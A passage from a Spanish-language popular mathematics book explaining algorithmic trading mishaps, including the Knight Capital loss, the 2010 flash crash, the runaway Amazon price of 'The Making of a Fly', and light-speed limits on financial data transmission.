hacia	 su	 valor	 «correcto».	 Pero	 cuando	 el	 mercado	 se	 convierte	 en	 un
enjambre	de	algoritmos	comerciales	de	alta	velocidad,	 las	cosas	empiezan	a
cambiar.

En	 teoría,	 el	 resultado	 de	 los	 algoritmos	 comerciales	 de	 alta	 frecuencia
debería	 ser	 el	 mismo	 que	 los	 resultados	 obtenidos	 por	 las	 personas	 que
negociaran	 en	 alta	 frecuencia,	 para	 sincronizar	 los	 precios	 en	 diferentes
mercados	y	reducir	la	diferencia	entre	el	precio	de	compra	y	el	de	venta	de	los
valores	 negociados,	 pero	 en	 una	 escala	 más	 reducida.	 Los	 algoritmos
automáticos	 están	 escritos	 para	 explotar	 las	 diferencias	 más	 pequeñas	 de
precio	 y	 para	 responder	 en	 milisegundos.	 Pero,	 si	 en	 los	 algoritmos	 hay
errores,	las	cosas	pueden	salir	mal	a	gran	escala.

El	1	de	agosto	de	2012,	uno	de	los	algoritmos	de	la	empresa	de	servicios
financieros	 Knight	 Capital	 no	 funcionaba	 como	 era	 debido.	 La	 empresa
actuaba	como	un	«creador	de	mercado»,	que	viene	a	ser	como	una	especie	de
casa	de	 cambio	de	divisas	 a	 lo	grande,	 pero	para	 las	 acciones.	Una	 casa	de
intercambio	 de	 divisas	 gana	 dinero	 porque	 venden	 las	 divisas	 a	 un	 precio
menor	a	cambio	de	que	entregan	el	dinero	instantáneamente.	Luego	esperan	a
realizar	 el	 cambio	 hasta	 que	 lo	 pueden	vender	 a	 un	 precio	mayor	 a	 alguien
que	viene	más	tarde	y	pide	ese	tipo	de	divisa.	Esta	es	la	razón	por	la	que	se
ven	 casas	 de	 cambio	 de	 divisas	 para	 turistas	 que	 tienen	 precios	 de	 venta	 y
compra	 diferentes	 para	 la	 misma	 moneda.	 Knight	 Capital	 hacía	 lo	 mismo,
pero	con	acciones,	y	en	ocasiones	podía	revender	una	acción	que	acababa	de
comprar	hacía	menos	de	un	segundo.

En	agosto	de	2012,	la	bolsa	de	Nueva	York	inició	un	nuevo	programa	de
liquidez	 minorista,	 lo	 que	 quiere	 decir	 que,	 en	 algunas	 situaciones,	 los
operadores	 pueden	 ofrecer	 acciones	 a	 precios	 ligeramente	 mejores	 para
vendérselas	 a	 los	 compradores	 minoristas.	 Este	 programa	 de	 liquidez
minorista	 recibió	 la	 aprobación	 regulatoria	 solo	 un	mes	 antes	 de	 empezar	 a
funcionar.	 Knight	 Capital	 se	 apresuró	 a	 actualizar	 sus	 algoritmos	 de	 alta
frecuencia	para	operar	en	este	entorno	financiero	ligeramente	diferente.	Pero,
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durante	 la	actualización,	de	alguna	forma	Knight	Capital	hizo	que	el	código
fallase.

Tan	 pronto	 como	 empezó	 a	 funcionar,	 el	 software	 de	 Knight	 Capital
empezó	a	comprar	acciones	de	154	compañías	diferentes	de	la	bolsa	de	Nueva
York	por	más	de	lo	que	las	podría	vender	luego.	Lo	apagaron	al	cabo	de	una
hora,	 pero,	 una	 vez	 que	 pasó	 la	 tormenta,	 Knigh	 Capital	 había	 acumulado
unas	pérdidas	 en	un	 solo	día	de	461,1	millones	de	dólares,	más	o	menos	el
beneficio	que	habían	obtenido	durante	los	dos	años	anteriores.

Nunca	 se	 han	 hecho	 públicos	 los	 detalles	 sobre	 qué	 fue	 exactamente	 lo
que	 falló.	 Una	 teoría	 es	 que	 el	 principal	 programa	 de	 trading	 activó
accidentalmente	algún	código	de	prueba	antiguo	que	nunca	se	diseñó	para	que
realizara	 transacciones,	 y	 eso	 concuerda	 con	 el	 rumor	 que	 circuló	 en	 el
ambiente	de	esa	época	de	que	el	error	se	produjo	por	culpa	de	«una	línea	de
código».	 Sea	 cual	 fuera	 la	 razón,	 un	 error	 en	 los	 algoritmos	 tuvo
consecuencias	 muy	 muy	 reales.	 Knight	 Capital	 tuvo	 que	 librarse	 de	 las
acciones	que	había	comprado	accidentalmente	a	Goldman	Sachs	a	precios	de
descuento	y	luego	fueron	rescatados	por	un	grupo	en	el	que	estaba	el	banco	de
inversión	Jefferies	a	cambio	de	ser	propietarios	del	73%	de	la	empresa.	Tres
cuartas	partes	de	esta	se	perdieron	por	culpa	de	una	línea	de	código.

Pero	 eso	 es	 consecuencia	 únicamente	 de	 una	 mala	 programación.	 Y,
seamos	 sinceros,	 las	 finanzas	 no	 son	 el	 único	 campo	 en	 el	 que	 un	 código
escrito	deficientemente	puede	causar	problemas.	Un	código	defectuoso	puede
crear	 problemas	 prácticamente	 en	 cualquier	 parte.	 Los	 algoritmos	 de
transacciones	automáticas	tienen	un	mayor	interés	en	un	escenario	económico
cuando	empiezan	a	interactuar.	Se	supone	que	la	compleja	red	de	algoritmos
realizando	 transacciones	 entre	 ellos	 mismos	 deberían	 mantener	 estable	 el
mercado.	 Hasta	 que	 alguno	 cae	 en	 algún	 desafortunado	 bucle	 de
retroalimentación	 y	 se	 produce	 un	 nuevo	 desastre	 financiero	 con	 la
consecuente	caída	repentina	de	la	bolsa.

El	 6	 de	mayo	de	2010,	 el	 índice	Dow	 Jones	 cayó	un	9%.	Si	 se	 hubiera
quedado	ahí,	habría	sido	la	caída	más	grande	del	Dow	Jones	producida	en	un
solo	 día	 desde	 los	 cracs	 de	 1929	 y	 1987.	 Pero	 no	 se	 quedó	 ahí.	 En	 pocos
minutos,	 los	 precios	 rebotaron	 hasta	 alcanzar	 su	 estado	 normal	 y	 el	 Dow
Jones	 acabó	 el	 día	 solo	 un	 3%	 por	 debajo	 del	 nivel	 con	 el	 que	 inició	 la
jornada.	Después	de	un	inicio	irregular,	el	crac	se	produjo	entre	las	14.40	h	y
las	15.00	h,	hora	local	de	Nueva	York.

Menudos	veinte	minutos.	Dos	mil	millones	de	acciones	con	un	volumen
total	 de	 más	 de	 56.000	 millones	 fueron	 negociados.	 Más	 de	 veinte	 mil

Página	152



transacciones	se	produjeron	a	un	precio	que	estaba	a	más	de	un	60%	de	lo	que
marcaba	el	mercado	a	las	14.40	h.	Y	muchas	de	esas	transacciones	fueron	a
«precios	irracionales»	tan	bajos	como	0,01	dólares	o	tan	altas	como	100.000
dólares	 por	 acción.	 De	 repente,	 el	 mercado	 se	 había	 vuelto	 loco.	 Pero
entonces,	casi	igual	de	rápido,	se	tranquilizó	y	volvió	a	su	estado	normal.	Se
desató	 una	 ráfaga	 de	 excitación	 extrema	 que	 finalizó	 tan	 rápido	 como
empezó,	el	Harlem	Shake	de	los	cracs	financieros[16].

Aún	se	está	discutiendo	sobre	qué	fue	lo	que	provocó	la	caída	de	la	bolsa
en	 2010.	 Se	 oyeron	 acusaciones	 de	 que	 el	 culpable	 fue	 un	 error	 de	 «dedos
gordos»,	pero	no	salió	a	la	luz	ninguna	prueba	de	ello.	La	mejor	explicación
que	 encuentro	 es	 el	 informe	 oficial	 conjunto	 dado	 a	 conocer	 por	 la	 US
Commodity	 Futures	 Trading	 Commission	 y	 por	 la	 US	 Securities	 and
Exchange	 Commission	 el	 30	 de	 septiembre	 de	 2010.	 Su	 explicación	 no	 ha
sido	aceptada	por	todo	el	mundo,	pero	creo	que	es	la	mejor	que	tenemos.

Parece	ser	que	un	operador	decidió	vender	un	montón	de	«futuros»	en	un
mercado	 financiero	 de	 Chicago.	 Los	 futuros	 son	 contratos	 para	 comprar	 o
vender	 algo	 en	 el	 futuro	 a	 un	 precio	 acordado	 previamente;	 estos	 contratos
también	 pueden	 ser	 comprados	 y	 vendidos.	 Son	 un	 producto	 financiero
derivado	muy	 interesante,	 pero	 las	 complejidades	 de	 su	 funcionamiento	 no
son	 relevantes	 para	 este	 libro.	 Lo	 que	 sí	 lo	 es	 es	 que	 el	 operador	 decidió
vender	75.000	de	estos	contratos,	llamados	E-Minis	(con	un	valor	aproximado
de	unos	4.100	millones	de	dólares)	de	golpe.	Fue	la	tercera	venta	más	grande
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de	los	últimos	doce	meses.	Pero,	mientras	las	otras	dos	se	habían	realizado	de
forma	gradual	a	lo	largo	de	un	día,	esta	se	realizó	en	tan	solo	veinte	minutos.

Las	ventas	de	este	 tamaño	se	pueden	hacer	de	 formas	diferentes	y,	 si	 se
hacen	 de	 forma	 gradual	 (bajo	 la	 supervisión	 de	 un	 operador),	 suelen	 ser
correctas.	Esta	venta	utilizó	un	simple	algoritmo	de	venta	para	todo	el	lote,	y
estaba	basado	únicamente	 en	 el	 volumen	de	 transacciones	de	 ese	momento,
sin	ninguna	referencia	a	cuál	debería	ser	el	precio	o	lo	rápido	que	tenían	que
realizarse	las	ventas.

El	6	de	mayo	de	2010,	el	mercado	ya	era	algo	frágil	debido	a	la	crisis	de
la	creciente	deuda	griega	y	por	las	elecciones	generales	del	Reino	Unido.	La
repentina	y	desafiante	puesta	en	circulación	de	los	E-Minis	se	dio	de	bruces
contra	 el	mercado	y	 sembró	el	 caos	entre	 los	operadores	de	alta	 frecuencia.
Los	 contratos	 de	 futuros	 que	 se	 habían	 vendido	 pronto	 inundaron	 cualquier
demanda	 natural	 y	 los	 operadores	 de	 alta	 frecuencia	 empezaron	 a
intercambiarlos	 entre	 ellos.	 En	 los	 catorce	 segundos	 que	 pasaron	 entre	 las
14.45.13	y	las	14.45.27,	más	de	27.000	contratos	pasaron	de	una	mano	a	otra
de	estos	operadores	automáticos.	Esto	por	sí	solo	igualó	el	volumen	de	todas
las	demás	transacciones.

Este	caos	afectó	a	otros	mercados.	Pero,	 entonces,	 casi	 tan	 rápido	como
empezó,	 los	 mercados	 recuperaron	 su	 posición	 normal	 a	 medida	 que	 los
algoritmos	de	alta	frecuencia	se	las	arreglaron	solos.	Algunos	de	ellos	tenían
incorporado	 un	 interruptor	 de	 seguridad	 que	 suspendía	 las	 interacciones
cuando	los	precios	fluctuaban	demasiado	y	se	reiniciaban	solo	después	de	que
se	comprobara	lo	que	estaba	sucediendo.	Algunos	operadores	supusieron	que
algo	catastrófico	había	ocurrido	en	algún	lugar	del	mundo	de	lo	que	todavía
no	habían	oído	hablar.	Pero	había	sido	 tan	solo	 la	 interacción	de	algoritmos
automáticos.	El	gran	cortocircuito.

La	mosca	en	el	algoritmo

Tengo	una	copia	del	libro	«más	caro	del	mundo».	Ahora	mismo	estoy	sentado
en	 mi	 escritorio	 frente	 a	 una	 copia	 de	 The	 Making	 of	 a	 Fly.	 Es	 un	 libro
académico	sobre	genética	y	una	vez	apareció	listado	en	Amazon	al	precio	de
23.698.655,93	dólares	(más	3,99	dólares	por	el	envío).

Pero	 yo	 me	 las	 arreglé	 para	 comprarlo	 con	 un	 descuento	 bastante
importante	del	99,9999423%.	Hasta	donde	yo	sé,	The	Making	of	a	Fly	nunca
se	vendió	por	23	millones	de	dólares;	solo	fue	listado	a	ese	precio.	E	incluso
si	se	hubiera	vendido	a	ese	precio,	un	montón	de	gente	considera	que	uno	de
los	diarios	de	Leonardo	da	Vinci,	que	Bill	Gates	compró	por	30,8	millones	de
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dólares,	 es	 el	 libro	 más	 caro	 jamás	 vendido.	 Está	 claro	 que,	 además	 de
compartir	 la	 afición	 por	 los	 dados	 no	 transitivos,	 Bill	 y	 yo	 también
compartimos	otra:	el	material	de	lectura	caro.	Creo	que	The	Making	of	a	Fly
ostenta	el	récord	del	precio	legal	más	alto	pedido	por	un	libro	del	que	existe
más	 de	 un	 ejemplar.	 Por	 suerte,	mi	 copia	me	 costó	 solo	 10,07	 libras	 (unos
13,68	dólares	de	la	época).	Y	el	envío	fue	gratuito.

El	libro	más	caro	cuyo	precio	no	he	pagado	gracias	al	descuento.

The	 Making	 of	 a	 Fly	 alcanzó	 su	 precio	 máximo	 en	 2011	 en	 Amazon
cuando	 dos	 vendedores,	 bordeebook	 y	 profnath,	 sacaron	 nuevas	 copias	 a	 la
venta	únicamente	 en	Estados	Unidos.	Hay	 sistemas	que	permiten	 establecer
un	 precio	 algorítmicamente	 en	 Amazon,	 y	 parece	 ser	 que,	 para	 poner	 su
precio,	profnath	utilizó	la	sencilla	regla	de	«pon	un	precio	para	mi	libro	que
sea	un	0,07%	más	barato	que	el	precio	más	bajo	de	todos».	Seguramente,	esos
vendedores	tenían	una	copia	de	The	Making	of	a	Fly	y	decidieron	que	querían
venderla	 siendo	 el	 libro	 listado	más	barato	de	Amazon	por	un	margen	muy
pequeño.	Como	el	concursante	de	El	precio	justo	que	siempre	pone	un	dólar
más	que	los	demás,	son	idiotas,	pero	cumplen	con	las	normas.

Sin	 embargo,	 el	 vendedor	 bordeebook	 quería	 ponerlo	 más	 caro	 con	 un
margen	 decente,	 y	 su	 regla	 seguramente	 fue	 algo	 así	 como	 «pon	 un	 precio
para	mi	libro	que	sea	un	27%	más	que	la	opción	más	barata	existente».	Una
posible	explicación	de	esto	es	que	bordeebook	no	tuviera	realmente	una	copia
del	 libro,	 pero	 sabía	 que	 si	 alguien	 lo	 compraba	 a	 través	 de	 él	 tendría	 un
margen	suficiente	para	poder	encontrarlo	y	comprar	una	copia	más	barata	que
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entonces	 podría	 revender.	 Vendedores	 como	 este	 confían	 en	 sus	 excelentes
comentarios	dejados	por	otros	clientes	para	atraer	a	los	compradores	recelosos
felices	de	pagar	más	por	un	extra	de	confianza.

Si	hubiera	habido	otro	 libro	a	un	precio	fijo,	esto	habría	funcionado	a	 la
perfección:	 la	 copia	 de	 profnath	 sería	 ligeramente	más	 barata	 que	 el	 tercer
libro	y	la	de	bordeebook	sería	mucho	más	cara.	Pero,	dado	que	solo	había	dos
libros,	los	precios	crearon	un	círculo	vicioso,	haciendo	aumentar	el	precio	del
otro:	1,27	×	0,9983	=	1,268,	por	 lo	que	 los	precios	 subían	más	o	menos	un
26,8%	 cada	 vez	 que	 los	 algortimos	 completaban	 un	 ciclo,	 alcanzando
finalmente	decenas	de	millones	de	dólares.	Evidentemente,	profnath	se	debió
dar	cuenta	(o	su	algortimo	alcanzó	un	límite	superior	descabellado)	porque	su
precio	 bajó	 a	 una	 cantidad	 mucho	 más	 normal	 de	 106,23	 dólares,	 y
rápidamente,	el	precio	de	bordeebook	bajó	en	consonancia.

Michael	Eisen	y	sus	colegas	de	la	Universidad	de	California,	en	Berkeley,
se	dieron	cuenta	del	escandaloso	precio	de	The	Making	of	a	Fly.	Utilizaban
moscas	 de	 la	 fruta	 en	 su	 investigación	 y	 necesitaban	 este	 título	 como
referencia	académica.	Se	quedaron	estupefactos	al	ver	dos	copias	a	 la	venta
con	un	precio	de	1.730.045,91	y	2.198.177,95	dólares,	y	cada	día	los	precios
aumentaban.	 Lógicamente,	 dejaron	 aparcada	 la	 investigación	 biológica	 e
iniciaron	 una	 hoja	 de	 cálculo	 en	 la	 que	 anotaban	 los	 precios	 cambiantes	 de
Amazon,	 desentrañando	 las	 ratios	 que	 estaban	 utilizando	 profnath	 y
bordeebook	 (bordeebook	estaba	utilizando	 la	 ratio	 específica	de	27,0589%),
demostrando	una	vez	más	que	existen	muy	pocos	problemas	en	la	vida	que	no
se	puedan	resolver	con	una	hoja	de	cálculo.

Una	vez	corregido	el	precio	de	The	Making	of	a	Fly,	el	colega	de	Eisen
pudo	comprar	una	copia	del	libro	a	un	precio	normal	y	el	laboratorio	retomó
su	 investigación,	 con	 la	 que	 intentaban	 comprender	 cómo	 funcionan	 los
genes,	en	 lugar	de	 los	algoritmos	de	precios	de	 ingeniería	 inversa.	Y	yo	me
quedo	con	mi	copia	de	The	Making	of	a	Fly	(que	compré	de	segunda	mano;
aun	estando	a	un	«precio	normal»,	los	libros	de	texto	estadounidenses	escapan
de	mi	presupuesto).	Incluso	me	esforcé	todo	lo	que	pude	para	leerlo.	Supuse
que	debía	 existir	 algún	vínculo	 entre	 lo	que	 le	 sucedió	 al	 precio	del	 libro	y
cómo	los	algoritmos	genéticos	hacen	crecer	a	 las	moscas.	Podría	concluir	 la
sección	con	una	frase	del	libro.	Esta	es	la	mejor	que	he	podido	encontrar:

Los	 estudios	 de	 crecimiento	 de	 este	 tipo	 dan	 la	 impresión	 de	 que	 existe	 algún	 control
matemáticamente	exacto	que	opera	de	forma	independiente	en	las	diferentes	partes	corporales.

The	Making	of	a	Fly,	Peter	Lawrence	(pág.	50)
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Creo	 que	 todos	 podemos	 aprender	 algo	 de	 esta	 historia.	 En	mi	 caso,	 la
compra	 del	 libro	 es,	 técnicamente,	 deducible	 de	 impuestos,	 aunque
seguramente	no	a	partir	del	precio	original.

Y	ellos	también	se	habrían	librado	de	la	cárcel	si	no	fuera	por	la	intromisión	de	las	leyes	de
la	física

En	las	operaciones	de	bolsa	de	alta	velocidad,	 los	datos	son	los	reyes.	Si	un
operador	posee	información	exclusiva	sobre	cómo	va	a	evolucionar	el	precio
de	una	materia	prima,	puede	colocar	órdenes	antes	de	que	el	mercado	cambie
para	ajustarse.	O,	mejor	aún,	los	datos	pueden	ir	directamente	a	un	algoritmo
que	 puede	 colocar	 la	 orden,	 tomando	 decisiones	 a	 velocidades	 increíbles.
Aquí,	 el	 tiempo	 se	 mide	 en	 milisegundos.	 En	 2015,	 Hibernia	 Networks	 se
gastó	300	millones	de	dólares	colocando	un	cable	de	fibra	óptica	entre	Nueva
York	 y	 Londres	 para	 intentar	 reducir	 los	 tiempos	 de	 comunicación	 en	 6
milisegundos.	 Pueden	 ocurrir	 un	 montón	 de	 cosas	 en	 una	 milésima	 de
segundo.	No	le	digo	en	seis.

Para	 los	 datos	 financieros,	 el	 tiempo	 es,	 literalmente,	 dinero.	 La
Universidad	 de	Michigan	 publica	 un	 Índice	 de	 Confianza	 del	 Consumidor,
que	es	una	medida	de	cómo	los	estadounidenses	se	sienten	sobre	la	economía
(obtenido	 después	 de	 telefonear	 a	 unas	 quinientas	 personas	 y	 hacerles	 una
serie	 de	 preguntas),	 y	 esta	 información	 puede	 influir	 directamente	 en	 los
mercados	 financieros.	 Por	 lo	 que	 era	 importante	 cómo	 se	 presentaban	 estos
datos.	Una	vez	que	las	nuevas	cifras	estaban	ya	preparadas,	Thomson	Reuters
las	 colgaba	en	 su	página	web	pública,	 exactamente	 a	 las	diez	de	 la	mañana
para	que	todo	el	mundo	pudiera	acceder	a	ellas	al	mismo	tiempo.	A	cambio	de
este	 compromiso	 exclusivo	 (ofrecer	 los	 datos	 gratis),	 Thomson	 Reuters
pagaba	a	la	Universidad	de	Michigan	algo	más	de	un	millón	de	dólares.

¿Por	 qué	 pagaban	 si	 luego	 ofrecían	 los	 datos	 de	 forma	 gratuita?	 En	 el
contrato,	a	Thomson	Reuters	se	le	permitía	enviar	los	números	cinco	minutos
antes	 a	 sus	 suscriptores.	 Así	 que	 cualquiera	 que	 pagara	 para	 subscribirse	 a
Thomson	Reuters	podía	obtener	el	dato	cinco	minutos	antes	que	el	resto	del
mercado	 y	 empezar	 a	 realizar	 transacciones	 en	 consecuencia.	 Y	 los
suscriptores	de	su	«plataforma	de	distribución	con	latencia	ultrabaja»	recibían
los	 datos	 dos	 segundos	 antes,	 a	 las	 9.54.58	 (más-menos	 medio	 segundo),
preparados	 para	 introducirlos	 en	 los	 algoritmos	 de	 comercio.	 En	 el	 primer
medio	segundo	después	de	que	se	envíen	estos	datos,	más	de	40	millones	en
transacciones	se	pueden	haber	producido	en	un	único	fondo.	Los	 tontos	que
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esperaban	a	obtener	 los	datos	gratis	 a	 las	diez	de	 la	mañana	se	encontraban
con	que	el	mercado	ya	se	había	ajustado.

Si	este	anuncio	de	Thomson	Reuters	es	un	diagrama	de	Venn,	es	sorprendentemente	honesto.

La	ética	(y	la	legalidad)	son	un	poco	borrosas.	Las	instituciones	privadas
pueden	 liberar	 sus	 propios	 datos	 como	 quieran	 mientras	 estos	 sean
transparentes.

Y	Thomson	Reuters	 incluso	 tenía	 una	 página	 de	 su	 sitio	web	 en	 la	 que
mencionaba	 esos	 tiempos,	 su	 equivalente	 web	 a	 cruzar	 los	 dedos	 tras	 la
espalda	 esperando	 que	 nadie	 se	 dé	 cuenta.	 La	 práctica	 solo	 se	 hizo	 pública
cuando	 la	CNBC	 (Consumer	News	and	Business	Channel)	 sacó	una	noticia
sobre	el	tema	en	2013,	y	no	mucho	después	de	que	esa	práctica	se	dejara	de
hacer.

La	 norma	 sobre	 la	 difusión	 de	 datos	 gubernamentales	 es	 mucho	 más
concreta:	no	se	le	permite	absolutamente	a	nadie	comerciar	con	ellos	antes	de
que	 se	 difundan	 a	 todo	 el	mundo	 de	 forma	 simultánea.	 Cuando	 la	 Reserva
Federal	de	Estados	Unidos	anuncia	algo,	por	ejemplo	si	va	a	continuar	con	un
programa	de	compra	de	bonos,	esa	noticia	puede	causar	un	gran	impacto	en
los	precios	de	los	mercados	financieros.	Si	alguien	conociera	esas	noticias	por
adelantado,	podría	empezar	a	comprar	cosas	cuyo	valor	iba	a	subir.

Por	lo	que	la	Reserva	Federal	controla	estrechamente	la	difusión	de	dicha
información	desde	sus	cuarteles	generales	en	Washington	D.	C.	Por	ejemplo,
cuando	 se	 iba	 a	 hacer	 público	 un	 anuncio	 el	 18	 de	 septiembre	 de	 2013,
exactamente	a	 las	dos	de	 la	 tarde,	 los	periodistas	 tuvieron	que	entrar	en	una
habitación	especial	en	 los	edificios	de	 la	Reserva	Federal,	que	se	cerraron	a
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las	13.45	h.	Se	entregaron	copias	impresas	de	las	noticias	a	las	13.50	h	y	se
les	dio	tiempo	para	leerlas.

A	 las	 13.58	 h,	 a	 los	 periodistas	 de	 televisión	 se	 les	 permitió	 salir	 a	 un
balcón	concreto	 en	el	que	estaban	preparadas	 sus	 cámaras.	Momentos	 antes
de	 las	 dos	 de	 la	 tarde,	 los	 periodistas	 de	 la	 prensa	 escrita	 podían	 establecer
una	conexión	telefónica	con	sus	editores,	pero	todavía	no	podían	comunicarse
con	ellos.	Exactamente	a	la	14.00	h,	como	si	la	hora	se	midiese	con	un	reloj
atómico,	se	podía	difundir	la	información.	Los	operadores	financieros	de	todo
el	mundo	quieren	ser	los	primeros	en	recibir	datos	como	estos.	Si	un	operador
de	 Chicago	 puede	 recibir	 los	 datos	 incluso	 milisegundos	 antes	 que	 sus
competidores,	 eso	 le	 dará	 una	ventaja.	 Pero	 ¿a	 qué	velocidad	pueden	viajar
los	datos?

Las	 dos	 tecnologías	 competidoras	 son	 los	 cables	 de	 fibra	 óptica	 y	 la
radiocomunicación	por	microondas.	La	luz	a	través	de	un	cable	de	fibra	óptica
viaja	alrededor	de	un	69%	de	 la	velocidad	máxima	de	 la	 luz	en	el	vacío,	 la
cual	 sigue	 siendo	 vertiginosamente	 rápida,	 recorriendo	 unos	 200.000
kilómetros	cada	segundo.	La	radiocomunicación	por	microondas	a	través	del
aire	 alcanza	 casi	 la	 velocidad	 máxima	 de	 la	 luz:	 299.792	 kilómetros	 por
segundo,	pero	 tiene	que	 ser	 transmitida	desde	una	 estación	base	 a	otra	para
tener	en	consideración	la	curvatura	de	la	Tierra.

También	 aparecen	 problemas	 a	 la	 hora	 de	 decidir	 dónde	 se	 han	 de
construir	 las	 estaciones	 base	 para	 microondas	 y	 dónde	 se	 puede	 colocar	 el
cable	de	fibra	óptica.	Por	lo	que	el	camino	entre	Washington	D.	C.	y	Chicago
que	recorren	los	datos	no	es	la	ruta	más	corta	posible.	Pero,	para	conseguir	un
límite	inferior,	podemos	suponer	que	los	datos	siguen	la	línea	más	corta	entre
el	edificio	de	la	Reserva	Federal	en	Washington	D.	C.	y	el	edificio	de	la	Bolsa
Mercantil	de	Chicago	(955,65	kilómetros)	a	la	velocidad	máxima	de	la	luz	(y
los	nuevos	cables	de	fibra	óptica	de	núcleo	hueco	pueden	alcanzar	el	99,7%
de	 la	 velocidad	 de	 la	 luz)	 y	 tardan	 un	 tiempo	 de	 3,19	 milisegundos.	 Un
cálculo	parecido	para	la	ruta	más	corta	entre	Washington	D.	C.	y	la	ciudad	de
Nueva	York	da	1,09	milisegundos.

Esos	 tiempos	 suponen	 que	 los	 datos	 viajan	 por	 el	 cable	 de	 fibra	 óptica
siguiendo	la	curvatura	de	la	Tierra.	El	viaje	en	línea	recta	sería	relativamente
más	 rápido.	 Ya	 existen	 sistemas	 de	 comunicación	 por	 láser	 de	 «línea	 de
visión»	para	los	datos	financieros	en	los	que	los	puntos	iniciales	y	finales	no
tienen	más	que	aire	entre	ellos,	por	ejemplo	los	que	intercambian	información
entre	edificios	de	Nueva	York	y	Nueva	Jersey.	Para	viajar	entre	Washington
D.	C.	y	Chicago,	necesitarían	ir	por	dentro	de	la	Tierra.
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Pero	 esto	 no	 está	 fuera	 de	 la	 cuestión.	 Los	 físicos	 han	 descubierto
partículas	 exóticas	 como	 los	 neutrinos	 que	 se	 pueden	mover	 a	 través	 de	 la
materia	normal	casi	sin	impedimentos.	Detectarlas	en	el	otro	extremo	sería	un
reto	tecnológico	importante,	pero	un	sistema	como	ese	que	disparase	datos	a
través	 del	 planeta	 a	 la	 velocidad	 de	 la	 luz	 es	 físicamente	 verosímil.	 Sin
embargo,	esto	recortaría	tan	solo	3	milisegundos	el	trayecto	entre	Washington
D.	 C.	 y	 Chicago	 (e	 incluso	 menos	 en	 el	 de	 Nueva	 York).	 El	 tiempo	 más
rápido	posible	para	que	viajen	los	datos	entre	el	edificio	de	la	Reserva	Federal
que	permiten	las	leyes	de	la	física	son	3,18	milisegundos	a	Chicago	y	1,09	a
Nueva	York.

Un	láser	preparado	para	disparar	datos	financieros	entre	ciudades.	Tiene	el	récord	mundial	por	ser	el
rayo	láser	más	aburrido	de	la	historia.

Todo	esto	hace	que	parezca	sospechoso	que	las	transacciones	en	Chicago
y	Nueva	York	se	produjeran	de	forma	simultánea	a	las	14	h,	cuando	los	datos
de	la	Reserva	Federal	se	difundieron	el	18	de	septiembre	de	2013.	Pero	si	los
datos	venían	desde	Washington	D.	C.,	entonces	los	mercados	de	Nueva	York
deberían	 haberse	 movido	 ligeramente	 antes	 que	 los	 mercados	 de	 Chicago.
Parece	 que	 les	 hubieran	 dado	 los	 datos	 más	 pronto	 e	 intentaran	 dar	 la
impresión	de	que	estaban	operando	desde	el	primer	instante	posible,	excepto
que	 se	 olvidaron	 de	 las	 leyes	 de	 la	 física.	 ¡Fraude	 descubierto	 gracias	 a	 la
velocidad	finita	de	la	luz!

Bueno,	 digo	 «fraude	 descubierto»	 pero	 no	 salió	 nada	 en	 claro	 de	 todo
esto.	No	se	descubrió	quién	estaba	 realizando	estas	 transacciones	y	quién	 le
envió	 los	 datos.	 Y	 también	 hubo	 mucha	 confusión	 no	 resuelta	 sobre	 si	 el
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hecho	de	mover	 datos	 a	 un	 ordenador	 externo	pero	 no	difundirlos	 hasta	 las
dos	de	 la	 tarde	estaba	estrictamente	prohibido	por	 las	normas	de	 la	Reserva
Federal.	Parece	ser	que	las	leyes	de	las	finanzas	son	mucho	más	flexibles	que
las	reglas	de	la	física.

Confusiones	matemáticas

Sería	negligente	por	mi	parte	no	decir	algo	sobre	la	crisis	financiera	global	de
2007-2008.	Empezó	con	la	crisis	de	los	préstamos	hipotecarios	de	alto	riesgo
en	Estados	Unidos	y	luego	se	propagó	rápidamente	a	países	de	todo	el	mundo.
Y	 hay	 algunos	 pedacitos	 interesantes	 de	 matemáticas	 que	 la	 alimentaron.
Personalmente,	mis	 favoritos	 son	 los	 productos	 financieros	 conocidos	 como
obligaciones	de	deuda	garantizada	(CDO	por	sus	siglas	en	inglés).	Una	CDO
agrupa	 un	 conjunto	 de	 inversiones	 arriesgadas	 con	 la	 suposición	 de	 que	 no
pueden	fallar	todas	juntas.

Spoiler:	todas	fueron	mal.	Dado	que	las	CDO	podían	contener	otras	CDO,
se	creó	una	telaraña	matemática	que	muy	pocas	personas	podían	entender.	Me
encantan	 las	 matemáticas	 que	 hago,	 pero	 mirando	 atrás	 la	 crisis	 financiera
global	en	su	conjunto,	no	puedo	asegurar	que	comprenda	qué	fue	lo	que	salió
mal.	 Si	 quiere	 profundizar	 en	 este	 tema,	 hay	 innumerables	 libros	 dedicados
exclusivamente	 a	 este	 asunto.	 O	 (si	 tiene	 la	 edad	 suficiente)	 puede	 ver	 la
película	La	 gran	 apuesta.	No	 diré	 nada	 sobre	 el	 tema;	 en	 su	 lugar,	 hablaré
sobre	 un	 ejemplo	 mucho	 más	 interesante	 y	 concreto	 de	 personas	 que	 no
entienden	 las	 matemáticas:	 los	 consejos	 de	 las	 empresas	 dando	 bonus
económicos	 a	 sus	 directores	 ejecutivos	 (CEO	 por	 sus	 siglas	 en	 inglés),	 es
decir,	las	personas	a	cargo	de	las	compañías.

Un	CEO	en	Estados	Unidos	puede	ganar	cantidades	increíbles	de	dinero,	a
veces	decenas	de	millones	de	dólares	por	 año.	Antes	de	 la	década	de	1990,
solo	 los	 CEO	 fundadores	 o	 propietarios	 de	 una	 empresa	 ganaban	 esos
«sueldazos»,	pero,	entre	1992	y	2001,	el	CEO	promedio	del	Índice	S&P	500
en	 Estados	 Unidos	 pasó	 de	 los	 2,9	 millones	 de	 dólares	 por	 año	 a	 los	 9,3
millones	 (al	 precio	 del	 dólar	 de	 2011).	 Un	 incremento	 del	 triple	 en	 una
década.	 Y	 luego	 la	 explosión	 se	 detuvo.	 Una	 década	 después,	 en	 2011,	 el
CEO	promedio	seguía	cobrando	alrededor	de	9	millones	de	dólares.

Algunos	 investigadores	 de	 la	 Universidad	 de	 Chicago	 y	 de	 Dartmouth
College	se	percataron	de	que,	durante	la	explosión	de	los	sueldos,	los	salarios
reales	e	 incluso	los	valores	de	las	acciones	dadas	a	 los	CEO	no	aumentaban
de	forma	parecida.	El	boom	procedía	de	la	remuneración	que	se	le	daba	a	los
CEO	en	una	forma	particular:	las	stock	options.
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Una	 stock	 option	 es	 un	 contrato	 que	 le	 permite	 a	 alguien	 comprar	 unas
ciertas	acciones	en	el	futuro	a	un	precio	«fijado»	preacordado.	Por	 lo	que	si
obtienes	una	stock	option	para	comprar	ciertas	acciones	de	una	empresa	a	100
dólares	en	el	plazo	de	un	año,	y	el	precio	de	la	acción	sube	durante	el	año	a
